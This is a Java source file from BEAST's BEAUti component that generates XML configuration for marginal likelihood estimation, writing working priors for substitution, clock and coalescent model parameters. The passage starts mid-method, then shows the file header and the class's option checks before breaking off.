new Attribute.Default<String>("parameterColumn", model.getPrefix(i) + rateName),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix(i) + rateName);
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
}
} else {
for (String rateName : PartitionSubstitutionModel.GTR_RATE_NAMES) {
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + rateName),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + rateName);
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
}
if (codonPartitionCount > 1) {
//write working priors for relative rates
writeRelativeRates(writer, model, codonPartitionCount);
}
break;
}
if (model.getFrequencyPolicy() == FrequencyPolicyType.ESTIMATED) {
if (codonPartitionCount > 1 && model.isUnlinkedSubstitutionModel() && model.isUnlinkedFrequencyModel()) {
for (int i = 1; i <= codonPartitionCount; i++) {
writer.writeOpenTag(WorkingPriorParsers.LOGIT_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix(i) + "frequencies"),
new Attribute.Default<Integer>("dimension", 4),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix(i) + "frequencies");
writer.writeCloseTag(WorkingPriorParsers.LOGIT_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
} else {
writer.writeOpenTag(WorkingPriorParsers.LOGIT_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + "frequencies"),
new Attribute.Default<Integer>("dimension", 4),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + "frequencies");
writer.writeCloseTag(WorkingPriorParsers.LOGIT_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
}
break;//NUCLEOTIDES
case DataType.AMINO_ACIDS:
case DataType.TWO_STATES:
case DataType.COVARION:
case DataType.GENERAL:
case DataType.CONTINUOUS:
case DataType.MICRO_SAT:
default:
throw new IllegalArgumentException("Unknown data type");
}
if (model.isGammaHetero()) {
if (codonPartitionCount > 1 && model.isUnlinkedHeterogeneityModel()) {
for (int i = 1; i <= codonPartitionCount; i++) {
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix(i) + "alpha"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix(i) + "alpha");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
} else {
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + "alpha"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + "alpha");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
}
if (model.isInvarHetero()) {
if (codonPartitionCount > 1 && model.isUnlinkedHeterogeneityModel()) {
for (int i = 1; i <= codonPartitionCount; i++) {
writer.writeOpenTag(WorkingPriorParsers.LOGIT_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix(i) + "pInv"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix(i) + "pInv");
writer.writeCloseTag(WorkingPriorParsers.LOGIT_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
} else {
writer.writeOpenTag(WorkingPriorParsers.LOGIT_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + "pInv"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + "pInv");
writer.writeCloseTag(WorkingPriorParsers.LOGIT_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
}
}
//Continue with providing working priors for the clock model(s)
for (PartitionClockModel model : beautiOptions.getPartitionClockModels()) {
switch (model.getClockType()) {
case STRICT_CLOCK:
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + "clock.rate"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + "clock.rate");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
writer.writeIDref(StrictClockBranchRatesParser.STRICT_CLOCK_BRANCH_RATES, model.getPrefix() + BranchRateModel.BRANCH_RATES);
break;
case UNCORRELATED:
if (model.isContinuousQuantile()) {
writer.writeIDref(ContinuousBranchRatesParser.CONTINUOUS_BRANCH_RATES, model.getPrefix() + BranchRateModel.BRANCH_RATES);
} else {
writer.writeIDref(DiscretizedBranchRatesParser.DISCRETIZED_BRANCH_RATES, model.getPrefix() + BranchRateModel.BRANCH_RATES);
}
switch (model.getClockDistributionType()) {
case GAMMA:
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + ClockType.UCGD_MEAN),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + ClockType.UCGD_MEAN);
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + ClockType.UCGD_SHAPE),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + ClockType.UCGD_SHAPE);
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
break;
case LOGNORMAL:
if (!model.getClockRateParameter().isInRealSpace()) {
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + ClockType.UCLD_MEAN),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + ClockType.UCLD_MEAN);
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + ClockType.UCLD_STDEV),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + ClockType.UCLD_STDEV);
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
} else {
writer.writeOpenTag(WorkingPriorParsers.NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + ClockType.UCLD_MEAN),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + ClockType.UCLD_MEAN);
writer.writeCloseTag(WorkingPriorParsers.NORMAL_REFERENCE_PRIOR);
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + ClockType.UCLD_STDEV),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + ClockType.UCLD_STDEV);
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
break;
case EXPONENTIAL:
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + ClockType.UCED_MEAN),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + ClockType.UCED_MEAN);
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
break;
case MODEL_AVERAGING:
throw new RuntimeException("Marginal likelihood estimation cannot be performed on a clock model that performs model averaging.");
}
break;
case FIXED_LOCAL_CLOCK:
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + "clock.rate"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + "clock.rate");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
for (Taxa taxonSet : beautiOptions.taxonSets) {
if (beautiOptions.taxonSetsMono.get(taxonSet)) {
String parameterName = taxonSet.getId() + ".rate";
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + parameterName),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + parameterName);
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
}
writer.writeIDref(LocalClockModelParser.LOCAL_CLOCK_MODEL, model.getPrefix() + BranchRateModel.BRANCH_RATES);
break;
case RANDOM_LOCAL_CLOCK:
//TODO
writer.writeIDref(RandomLocalClockModelParser.LOCAL_BRANCH_RATES, model.getPrefix() + BranchRateModel.BRANCH_RATES);
break;
default:
throw new IllegalArgumentException("Unknown clock model");
}
}
//Provide working priors for the coalescent model(s)
for (PartitionTreePrior model : beautiOptions.getPartitionTreePriors()) {
TreePriorType nodeHeightPrior = model.getNodeHeightPrior();
TreePriorParameterizationType parameterization = model.getParameterization();
if (DEBUG) {
System.err.println("nodeHeightPrior: " + nodeHeightPrior);
}
switch (nodeHeightPrior) {
case CONSTANT:
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "constant.popSize"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "constant.popSize");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
break;
case EXPONENTIAL:
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "exponential.popSize"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "exponential.popSize");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
if (parameterization == TreePriorParameterizationType.GROWTH_RATE) {
writer.writeOpenTag(WorkingPriorParsers.NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "exponential.growthRate"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "exponential.growthRate");
writer.writeCloseTag(WorkingPriorParsers.NORMAL_REFERENCE_PRIOR);
} else {
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "exponential.doublingTime"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "exponential.doublingTime");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
break;
case LOGISTIC:
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "logistic.popSize"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "logistic.popSize");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
if (parameterization == TreePriorParameterizationType.GROWTH_RATE) {
writer.writeOpenTag(WorkingPriorParsers.NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "logistic.growthRate"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "logistic.growthRate");
writer.writeCloseTag(WorkingPriorParsers.NORMAL_REFERENCE_PRIOR);
} else {
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "logistic.doublingTime"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "logistic.doublingTime");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "logistic.t50"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "logistic.t50");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
break;
case EXPANSION:
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "expansion.popSize"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "expansion.popSize");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
if (parameterization == TreePriorParameterizationType.GROWTH_RATE) {
writer.writeOpenTag(WorkingPriorParsers.NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "expansion.growthRate"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "expansion.growthRate");
writer.writeCloseTag(WorkingPriorParsers.NORMAL_REFERENCE_PRIOR);
} else {
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "expansion.doublingTime"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "expansion.doublingTime");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
writer.writeOpenTag(WorkingPriorParsers.LOGIT_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "expansion.ancestralProportion"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "expansion.ancestralProportion");
writer.writeCloseTag(WorkingPriorParsers.LOGIT_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
break;
case GMRF_SKYRIDE:
writer.writeOpenTag(WorkingPriorParsers.NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "skyride.logPopSize"),
new Attribute.Default<Integer>("dimension", beautiOptions.taxonList.getTaxonCount() - 1),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "skyride.logPopSize");
writer.writeCloseTag(WorkingPriorParsers.NORMAL_REFERENCE_PRIOR);
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "skyride.precision"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "skyride.precision");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
break;
case SKYGRID:
writer.writeOpenTag(WorkingPriorParsers.NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "skygrid.logPopSize"),
new Attribute.Default<Integer>("dimension", model.getSkyGridCount()),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "skygrid.logPopSize");
writer.writeCloseTag(WorkingPriorParsers.NORMAL_REFERENCE_PRIOR);
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "skygrid.precision"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "skygrid.precision");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
break;
case YULE:
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "yule.birthRate"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "yule.birthRate");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
break;
}
}
//TODO: take care of anything else I missed
if (options.choiceTreeWorkingPrior.equals("Product of exponential distributions")) {
writer.writeIDref("productOfExponentialsPosteriorMeansLoess", "exponentials");
} else if (options.choiceTreeWorkingPrior.equals("Matching coalescent model")) {
writer.writeIDref(CoalescentLikelihoodParser.COALESCENT_LIKELIHOOD, "coalescentReference");
} else {
writer.writeIDref(YuleModelParser.YULE_MODEL, "yuleReference");
}
writer.writeCloseTag(CompoundLikelihoodParser.WORKING_PRIOR);
writer.writeCloseTag(PathLikelihood.DESTINATION);
writer.writeCloseTag(PathLikelihood.PATH_LIKELIHOOD);
attributes = new ArrayList<Attribute>();
attributes.add(new Attribute.Default<String>(XMLParser.ID, "MLELog"));
attributes.add(new Attribute.Default<Integer>("logEvery", options.mleLogEvery));
attributes.add(new Attribute.Default<String>("fileName", options.mleFileName));
writer.writeOpenTag("log", attributes);
writer.writeIDref("pathLikelihood", "pathLikelihood");
writer.writeCloseTag("log");
writer.writeCloseTag(MarginalLikelihoodEstimator.MARGINAL_LIKELIHOOD_ESTIMATOR);
writer.writeComment("Generalized stepping-stone sampling estimator from collected samples");
attributes = new ArrayList<Attribute>();
attributes.add(new Attribute.Default<String>("fileName", options.mleFileName));
attributes.add(new Attribute.Default<String>("resultsFileName", options.mleResultFileName));
writer.writeOpenTag(GeneralizedSteppingStoneSamplingAnalysis.GENERALIZED_STEPPING_STONE_SAMPLING_ANALYSIS, attributes);
writer.writeTag("sourceColumn", new Attribute.Default<String>("name", "pathLikelihood.source"), true);
writer.writeTag("destinationColumn", new Attribute.Default<String>("name", "pathLikelihood.destination"), true);
writer.writeTag("thetaColumn", new Attribute.Default<String>("name", "pathLikelihood.theta"), true);
writer.writeCloseTag(GeneralizedSteppingStoneSamplingAnalysis.GENERALIZED_STEPPING_STONE_SAMPLING_ANALYSIS);
}
}
private void writeRelativeRates(XMLWriter writer, PartitionSubstitutionModel model, int codonPartitionCount) {
for (int i = 1; i <= codonPartitionCount; i++) {
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix(i) + "mu"),
new Attribute.Default<String>("burnin", "" + (int)(beautiOptions.chainLength*0.10)),
new Attribute.Default<String>("upperLimit", "" + (double)(codonPartitionCount))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix(i) + "mu");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
}
private void writeCoalescentEventsStatistic(XMLWriter writer) {
writer.writeOpenTag("coalescentEventsStatistic");
// coalescentLikelihood
for (PartitionTreeModel model : options.getPartitionTreeModels()) {
PartitionTreePrior prior = model.getPartitionTreePrior();
TreePriorGenerator.writePriorLikelihoodReferenceLog(prior, model, writer);
writer.writeText("");
}
/*for (PartitionTreePrior prior : options.getPartitionTreePriors()) {
if (prior.getNodeHeightPrior() == TreePriorType.EXTENDED_SKYLINE) {
writer.writeIDref(CoalescentLikelihoodParser.COALESCENT_LIKELIHOOD, prior.getPrefix() + COALESCENT); // only 1 coalescent
} else if (prior.getNodeHeightPrior() == TreePriorType.SKYGRID) {
writer.writeIDref(GMRFSkyrideLikelihoodParser.SKYGRID_LIKELIHOOD, prior.getPrefix() + "skygrid");
}
}*/
writer.writeCloseTag("coalescentEventsStatistic");
}
private void writeParameterIdref(XMLWriter writer, Parameter parameter) {
if (parameter.isStatistic) {
writer.writeIDref("statistic", parameter.getName());
} else {
writer.writeIDref(ParameterParser.PARAMETER, parameter.getName());
}
}
}
| src/dr/app/beauti/components/marginalLikelihoodEstimation/MarginalLikelihoodEstimationGenerator.java | /*
* MarginalLikelihoodEstimationGenerator.java
*
* Copyright (c) 2002-2017 Alexei Drummond, Andrew Rambaut and Marc Suchard
*
* This file is part of BEAST.
* See the NOTICE file distributed with this work for additional
* information regarding copyright ownership and licensing.
*
* BEAST is free software; you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as
* published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* BEAST is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with BEAST; if not, write to the
* Free Software Foundation, Inc., 51 Franklin St, Fifth Floor,
* Boston, MA 02110-1301 USA
*/
package dr.app.beauti.components.marginalLikelihoodEstimation;
import dr.app.beauti.BeautiFrame;
import dr.app.beauti.generator.BaseComponentGenerator;
import dr.app.beauti.generator.TreePriorGenerator;
import dr.app.beauti.options.*;
import dr.app.beauti.types.*;
import dr.app.beauti.util.XMLWriter;
import dr.evolution.datatype.DataType;
import dr.evolution.util.Taxa;
import dr.evolution.util.Units;
import dr.evomodel.branchratemodel.BranchRateModel;
import dr.evomodel.tree.TreeModel;
import dr.evomodelxml.TreeWorkingPriorParsers;
import dr.evomodelxml.branchratemodel.*;
import dr.evomodelxml.coalescent.*;
import dr.evomodelxml.speciation.SpeciationLikelihoodParser;
import dr.evomodelxml.speciation.SpeciesTreeModelParser;
import dr.evomodelxml.speciation.YuleModelParser;
import dr.inference.mcmc.MarginalLikelihoodEstimator;
import dr.inference.model.ParameterParser;
import dr.inference.model.PathLikelihood;
import dr.inference.trace.GeneralizedSteppingStoneSamplingAnalysis;
import dr.inference.trace.PathSamplingAnalysis;
import dr.inference.trace.SteppingStoneSamplingAnalysis;
import dr.inferencexml.distribution.WorkingPriorParsers;
import dr.inferencexml.model.CompoundLikelihoodParser;
import dr.util.Attribute;
import dr.xml.XMLParser;
import java.util.ArrayList;
import java.util.EnumSet;
import java.util.List;
/**
* @author Andrew Rambaut
* @author Guy Baele
* @version $Id$
*/
public class MarginalLikelihoodEstimationGenerator extends BaseComponentGenerator {
public static final boolean DEBUG = false;
private BeautiOptions beautiOptions = null;
MarginalLikelihoodEstimationGenerator(final BeautiOptions options) {
super(options);
this.beautiOptions = options;
}
@Override
public void checkOptions() throws GeneratorException {
MarginalLikelihoodEstimationOptions mleOptions = (MarginalLikelihoodEstimationOptions)options.getComponentOptions(MarginalLikelihoodEstimationOptions.class);
if (DEBUG) {
System.out.println("mleOptions.performMLE: " + mleOptions.performMLE);
System.out.println("mleOptions.performMLEGSS: " + mleOptions.performMLEGSS);
}
//++++++++++++++++ Improper priors ++++++++++++++++++
if (mleOptions.performMLE) {
for (Parameter param : options.selectParameters()) {
if (param.isPriorImproper() || (param.priorType == PriorType.ONE_OVER_X_PRIOR && !param.getBaseName().contains("popSize"))) {
throw new GeneratorException("Parameter \"" + param.getName() + "\":" +
"\nhas an improper prior and will not sample correctly when estimating " +
"the marginal likelihood. " +
"\nPlease check the Prior panel.", BeautiFrame.PRIORS);
}
}
}
//++++++++++++++++ Coalescent Events available for GSS ++++++++++++++++++
if (mleOptions.performMLEGSS) {
EnumSet<TreePriorType> allowedTypes = EnumSet.of(
TreePriorType.CONSTANT, TreePriorType.EXPONENTIAL, TreePriorType.LOGISTIC, TreePriorType.EXPANSION, TreePriorType.SKYGRID, TreePriorType.GMRF_SKYRIDE, TreePriorType.YULE
);
EnumSet<TreePriorType> allowedMCMTypes = EnumSet.of(TreePriorType.CONSTANT, TreePriorType.EXPONENTIAL, TreePriorType.LOGISTIC, TreePriorType.EXPANSION);
for (PartitionTreeModel model : options.getPartitionTreeModels()) {
PartitionTreePrior prior = model.getPartitionTreePrior();
if (!allowedTypes.contains(prior.getNodeHeightPrior())) {
throw new GeneratorException("Generalized stepping stone sampling can only be performed\n" +
"on standard parameteric coalescent tree priors and the Skyride and Skygrid models. " +
"\nPlease check the Trees panel.", BeautiFrame.TREES);
}
if (mleOptions.choiceTreeWorkingPrior.equals("Matching coalescent model") && !allowedMCMTypes.contains(prior.getNodeHeightPrior())) {
throw new GeneratorException("A Matching Coalescent Model cannot be constructed for\n" +
"the Skyride and Skygrid models. Please check the Marginal Likelihood\n" +
"Estimation settings via the MCMC panel.");
}
}
// Shouldn't get here as the MLE switch in the MCMC tab already checks.
for (AbstractPartitionData partition : options.getDataPartitions()) {
if (partition.getDataType().getType() != DataType.NUCLEOTIDES) {
